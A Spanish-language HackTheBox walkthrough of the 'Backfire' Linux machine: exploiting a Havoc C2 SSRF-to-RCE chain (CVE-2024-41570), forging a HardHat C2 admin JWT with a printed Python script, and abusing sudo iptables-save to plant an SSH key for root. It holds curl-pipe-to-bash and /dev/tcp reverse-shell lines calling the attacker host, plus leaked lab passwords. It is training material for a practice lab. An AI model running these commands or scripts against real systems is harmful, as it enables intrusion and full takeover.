Backfire – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad : Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar backfire


Resumen Link to heading

“Backfire” es una máquina de dificultad Media de la plataforma HackTheBox. Luego de un escaneo inicial, encontramos que la máquina víctima está exponiendo archivos de configuración para Havoc, un Command & Control (C2), el cual filtra credenciales. Luego de una breve búsqueda, encontramos que la máquina víctima está corriendo una versión de Havoc vulnerable a CVE-2024-41570, una vulnerabilidad Server-Side Request Forgery (SSRF) la cual puede ser encadenada con otro exploit para concluir en ejecución remota de comandos, permitiéndonos ganar acceso inicial a la máquina víctima. Una vez dentro, encontramos que la máquina víctima está corriendo otro C2 llamado HardHat, donde encontramos otro exploit que nos permite crear un nuevo usuario en esta herramienta y ejecutar así comandos como un nuevo segundo usuario. Este segundo usuario puede correr los comandos iptables e iptables-save como root, lo cual nos permite inyectar una key de SSH válida para el usuario root, ganar acceso como este usuario y ganar control total del sistema.


User / Usuario Link to heading

Empezamos con un escaneo inicial con Nmap en búsqueda de puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv

El escaneo con Nmap encuentra 3 puertos abiertos: 22 SSH, 443 HTTPs y 8000 otro sitio HTTP site:

❯ sudo nmap -sVC -p22,443,8000 10.10.11.49

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 00:17 -03
Nmap scan report for 10.10.11.49
Host is up (0.31s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open  ssl/http nginx 1.22.1
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=ACME/stateOrProvinceName=Florida/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2025-01-17T16:08:55
|_Not valid after:  2028-01-17T16:08:55
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
8000/tcp open  http     nginx 1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.75 seconds

Visitando https://10.10.11.49/ retorna 404 Not Found:

❯ curl -s -k https://10.10.11.49

<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

Revisando la página corriendo por el puerto 8000, visitando http://10.10.11.49:8000/ en un navegador de internet, muestrar algunos archivos:

Backfire

Tenemos dos archivos: uno llamado disable_tls.patch y otro llamado havoc.yaotl.

Podemos revisar el contenido de estos archivos usando cURL. Revisando el archivo disable_tls.patch tenemos:

❯ curl -s http://10.10.11.49:8000/disable_tls.patch

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();

     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();

     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
                }

                // start the teamserver
-               if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+               if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
                        logger.Error("Failed to start websocket: " + err.Error())
                }

Este archivo parece ser algo similar a un git commit acerca de la configuración de un servidor. Podemos ver la palabra havoc.

Checking havoc.yaotl file returns:

❯ curl -s http://10.10.11.49:8000/havoc.yaotl

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

Tenemos credenciales. La contraseña CobaltStr1keSuckz! lanza un poco de beef contra Cobalt Strike Command & Control (de aquí en adelante nos referiremos a Command & Control como C2).

Buscando por Havoc relacionado a conceptos de Red Team retorna:

Información
The Havoc command and control (C2) framework is a flexible post-exploitation framework written in Go, C++, and Qt, created by C5pider. Engineered to support red team engagements and adversary emulation, Havoc offers a robust set of capabilities tailored for offensive security operations.
Es decir, es un C2 que se puede utilizar para facilitar tanto ejecutar comandos en un sistema vulnerado como para generar persistencia.

Adicionalmente, buscando por havoc.yaotl retorna esta documentación del sitio web oficial de Havoc. Allí, se definen bloques tales como Teamserver, Operators, Listeners, Demon; entre otros. Recomiendo fuertemente al lector leer un poco de la documentación, dado que es concisa y precisa. El bloque “operator” define, como se esperaba, los usuarios que están permitidos de conectarse a Havoc, donde se da el ejemplo:

Operators {
	user "5pider" {
		Password = "password1234"
	}

	user "Neo" {
		Password = "password1234"
	}
}

Las credenciales en le archivo havoc.yaotl no funcionan para el servicio SSH.

Ya en este punto podemos buscar por vulnerabilidades buscando por Havoc CVE. Esta búsqueda nos devuelve una vulnerabilidad catalogada como CVE-2024-41570. Esta vulnerabilidad consta de una vulnerabilidad de tipo Server-Side Request Forgery (SSRF) la cual permite a atacantes enviar tráfico de red arbitrario originándose desde el servidor que alberga el C2. Buscando por exploits para esta vulnerabilidad encontramos este primer repositorio el cual es un script para Remote Code Execution (ejecución remota de comandos). También encontramos este segundo repositorio por la persona que aparanetemente descubrió la vulnerabilidad, dado que este mismo autor explica en gran detalle la vulnerabilidad en su blog. Para resumir ambos exploits:

  1. Este repositorio (el segundo mencionado) manda un registro de agente falso para abrir un socket al C2; donde luego este socket puede ser manipulado para enviar datos.
  2. Este repositorio (el primero mencionado) puede hacer uso del socket web abierto para enviar un payload a la máquina corriendo Havoc y ejecutar así comandos remotamente.

Por ende, combinando ambos exploits, pasamos de un SSRF a un RCE.

Podríamos manualmente combinar ambos exploits, pero afortunademente alguien ya lo hizo por nosotros. Encontramos este tercer repositorio que combina los exploits mencionados previamente. Simplemente necesitamos realizar un breve cambio en este exploit en la línea 253, cambiando la original:

cmd = "curl http://IP:8000/payload.sh | bash"

Y adaptarlo a que haga una petición a nuestra máquina de atacante:

cmd = "curl http://10.10.16.2:8000/rev.sh | bash"

Donde 10.10.16.2 es nuestra máquina de atacantes. También expondremos un simple script de Bash llamado rev.sh a través de un servidor HTTP con Python temporal por el puerto 8000. Creamos el script rev.sh en nuestra máquina de atacantes:

❯ echo -e '#!/bin/bash\n\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > rev.sh

❯ cat rev.sh

#!/bin/bash

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

❯ chmod +x rev.sh

Donde, nuevamente, 10.10.16.2 es nuestra máquina de atacantes y 443 es el puerto en el cual nos pondremos en escucha con netcat para recibir una reverse shell.

Tal cual dijimos antes, empezamos un servidor HTTP temporal con Python por el puerto 8000 exponiendo el script rev.sh:

❯ ls -la && python3 -m http.server 8000

total 24
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Jan 24 01:24 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Jan 24 00:15 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 10512 Jan 24 01:23 exploit.py
-rwxrwxr-x 1 gunzf0x gunzf0x    73 Jan 24 01:24 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Empezamos un listener con netcat por el puerto 443 (ejecutando nc -lvnp 443 en una terminal aparte) tal cual especificamos en el script rev.sh y ejecutamos el exploit:

❯ python3 exploit.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

Obtenemos una shell como el usuario ilya:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 55996
bash: cannot set terminal process group (27421): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$

ilya@backfire:~/Havoc/payloads/Demon$ hostname -I

hostname -I
10.10.11.49 dead:beef::250:56ff:fe94:6252

El único “problema” yace en que, luego de algunos segundos, la shell muere. Por tanto, creamos una simple key para SSH en nuestra máquina de atacantes:

❯ ssh-keygen -t rsa -b 4096

Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa.pub
The key fingerprint is:
SHA256:nNcrBrKJnigMDwl+R9iF7sCIMON52zI0/gOryw1gKXI gunzf0x@kali
The key's randomart image is:
+---[RSA 4096]----+
|      .          |
|+    . .         |
|+o+ + .          |
|o+.B + . . .     |
|*+E B . S . .    |
|Oo B = + o   .   |
|o+. O o   o .    |
|o.++ +   . .     |
| =+.o .          |
+----[SHA256]-----+

Copiamos el contenido del archivo generado id_rsa.pub:

❯ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali

Nos volvemos a conectar a la máquina víctima volviendo a ejecutar exploit.py y agregamos la key generada en nuestra máquina en la máquina vñictima para así poder loguearnos como el usuario ilya:

ilya@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/ilya/.ssh/authorized_keys

Ya agregada la key, la usamos para loguearnos por SSH como el usuario ilya:

❯ ssh -i id_rsa ilya@10.10.11.49

The authenticity of host '10.10.11.49 (10.10.11.49)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.49' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$

Podemos extraer la flag de user.


Root Link to heading

En el directorio /home/ilya hay un archivo hardcat.txt el cual muestra un interesante mensaje:

Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

El mensaje habla de otro C2 llamado HardHat:

Información
HardHat is a multi-user C# . NET-based command and control (C2) framework designed to aid in red team engagements and penetration testing. It aims to improve quality-of-life during engagements by providing a robust, easy-to-use C2 framework.

Basados en la documentación de HardHat, esta herramienta deberìa de estar corriendo por el puerto 5000. Revisamos si este puerto está abierto:

ilya@backfire:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   512                                    0.0.0.0:7096                                  0.0.0.0:*
LISTEN              0                   512                                    0.0.0.0:5000                                  0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:443                                   0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:40056                                 0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:8000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8443                                  0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

Lo está. Por lo que asumimos que está corriendo.

Buscando por exploits para este nuevo C2 encontramos este blog. Allí, también se menciona el uso del puerto 7096 par HardHat, el cual, revisando nuestro comando previo, también se encuentra abierto en la máquina víctima. Este puerto se encuentra albergando un servidor web interno:

ilya@backfire:~$ curl -s -k https://127.0.0.1:7096 | head

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <base href="/" />
    <link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
    <link href="css/site.css" rel="stylesheet" />
    <link href="HardHatC2Client.styles.css" rel="stylesheet" />

En el blog, se mencionan 3 vulnerabilidades: Arbitrary File Write, Authentication Bypass y Remote Code Execution (ejecución remota de comandos). La primera vulnerabilidad nos permite escribir archivos .pfx, que se relaciona con la autenticación para HardHat. La segunda vulnerabilidad es interesante: nos permite crear un usuario Administrator con rol TeamLead (máximos privilegios) en HardHat. El código de Python que se da en el mismo blog es:

# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = 'hardhatc2.local:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

El único cambio que le haremos al script para adaptarlo a nuestro caso es hacer que éste apunte a nuestro localhost, cambiando la variable original:

rhost = 'hardhatc2.local:5000'

A otro valor:

rhost = '127.0.0.1:5000'

Dado que HardHat se encuentra corriendo en el localhost de la máquina víctima.

Este puerto sólo es accesible internamente, pero como afortunadamente tenemos una conexión por SSH la podemos aprovechar para crear un túnel a través de un Local Port Forwarding . Vamos a convertir los puertos 5000 y 7096 de la máquina víctima a los puertos 5000y 7096 de nuestra máquina de atacantes. Salimos de la sesión actual de SSH y nos logueamos nuevamente, ejecutando esta vez:

❯ ssh -i id_rsa -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@10.10.11.49

Hecho esto, visitamos https://127.0.0.1:7096 en un navegador de internet. Podemos ver un panel de login para HardHat:

Backfire

Corremos el exploit para crear un usuario administrador en HardHat:

❯ python3 hardhat_create_account_exploit.py

Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMTdlNWU4MGMtY2NkYy00ODMyLTk3ZmYtNTMzMDczZDdkNDI0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc3MDc4ODksImV4cCI6MTc0MDEyNzA4OSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.b6WuEKkL4QK8OcoQ7eAUKdxf1APVH9Ez9RPlMAK3dgY
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1100: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
User sth_pentest created

Un usuario sth_pentest, como dice el script, debería de haber sido creado.

De vuelta al panel de login de HardHat usamos las credenciales sth_pentest:sth_pentest (estas credenciales son definidas en el exploit):

Backfire 3

Estamos dentro.

Clickeando en las tres líneas en la parte superior izquierda y luego en ImplantInteract podemos ver una pestaña que dice Terminal. Podemos correr comandos allí:

Backfire 4

Estamos ejecutando comandos como el usuario sergej en la máquina víctima (10.10.11.49).

Por tanto, usamos esta terminal para enviarnos una nueva reverse shell ejecutando el comando:

bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

Pasamos este comando a la terminal de HardHat, empezamos un nuevo listener con netcat y clickeamnos en Send.

Obtenemos una nueva shell como el usuario sergej:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 54390
bash: cannot set terminal process group (30253): Inappropriate ioctl for device
bash: no job control in this shell
sergej@backfire:~/HardHatC2/HardHatC2Client$

Similar a como hicimos anteriormente para el usuario ilya, vamos al directorio /home/sergej/.ssh y agregamos el contenido de nuestro archivo id_rsa.pub en el archivo id_rsa.pub del usuario a impersonar (sergej):

sergej@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/sergej/.ssh/authorized_keys

Y nos conectamos a través de SSH como sergej usando la key:

❯ ssh -i id_rsa sergej@10.10.11.49

Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$

Revisando qué comandos puede ejecutar este usuario con sudo obtenemos:

sergej@backfire:~$ sudo -l

Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

Buscando por sudo iptables privilege escalation encontramos este blog. Allí, se da como ejemplo los comandos:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

sudo /usr/sbin/iptables -S

sudo /usr/sbin/iptables-save -f <file-to-write-comment-from-1st-command>

El primer comando define el contenido que será escrito en un archivo definido en la tercera línea. Este comando reemplaza el archivo, por lo que sobreescribir archivos como /etc/sudoers o /etc/shadow puede no ser la mejor idea.

En su lugar, como ya hicimos antes, podríamos tratar de “injectar” (escribir) la key de SSH que habíamos generado y hacer que ésta sea válida para el usuario root:

sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali\n'

sergej@backfire:~$ sudo /usr/sbin/iptables -S

-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9" -j ACCEPT
 
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

Pero al intentar conectarnos con esta key no funciona.

Luego de algunas pruebas, lo que intenté fue crear una nueva key, pero esta vez espeficiando como tipo de key ed25519 en lugar de rsa como hicimos antes (dado que, del escaneo de Nmap, podemos ver que estos son los tipos de keys aceptados). En nuestra máquina de atacantes creamos una nueva key id_ed25519 y copiamos el contenido de la key pública generada id_ed25519.pub:

❯ ssh-keygen -t ed25519

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): ./id_ed25519
Enter passphrase for "./id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_ed25519
Your public key has been saved in ./id_ed25519.pub
The key fingerprint is:
SHA256:isat881ep2fUZT0fMmjr5H5vPJ5yksdJFn0KkQnrbws gunzf0x@kali
The key's randomart image is:
+--[ED25519 256]--+
|          .. o   |
|           .+    |
|          . ..  o|
|         . o.o +*|
|        S o .oo+*|
|   . o .   +. oo.|
|    + o   E.+ * .|
|   ... o . Bo* O.|
|    .o..+ o+o O+.|
+----[SHA256]-----+

❯ cat id_ed25519.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali

Por lo que intentamos escribir el contenido de esta nueva key:

sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali\n'

Mostramos las reglas (el contenido que va a ser agregado en el archivo de destino):

sergej@backfire:~$ sudo /usr/sbin/iptables -S

-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali
" -j ACCEPT

Y escribimos los “comentarios” (el cual es el payload) en el archivo /root/.ssh/authorized_keys:

sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

Podemos ahora tratar de loguearnos como root en la máquina víctima usando la key generada:

❯ ssh -i id_ed25519 root@10.10.11.49

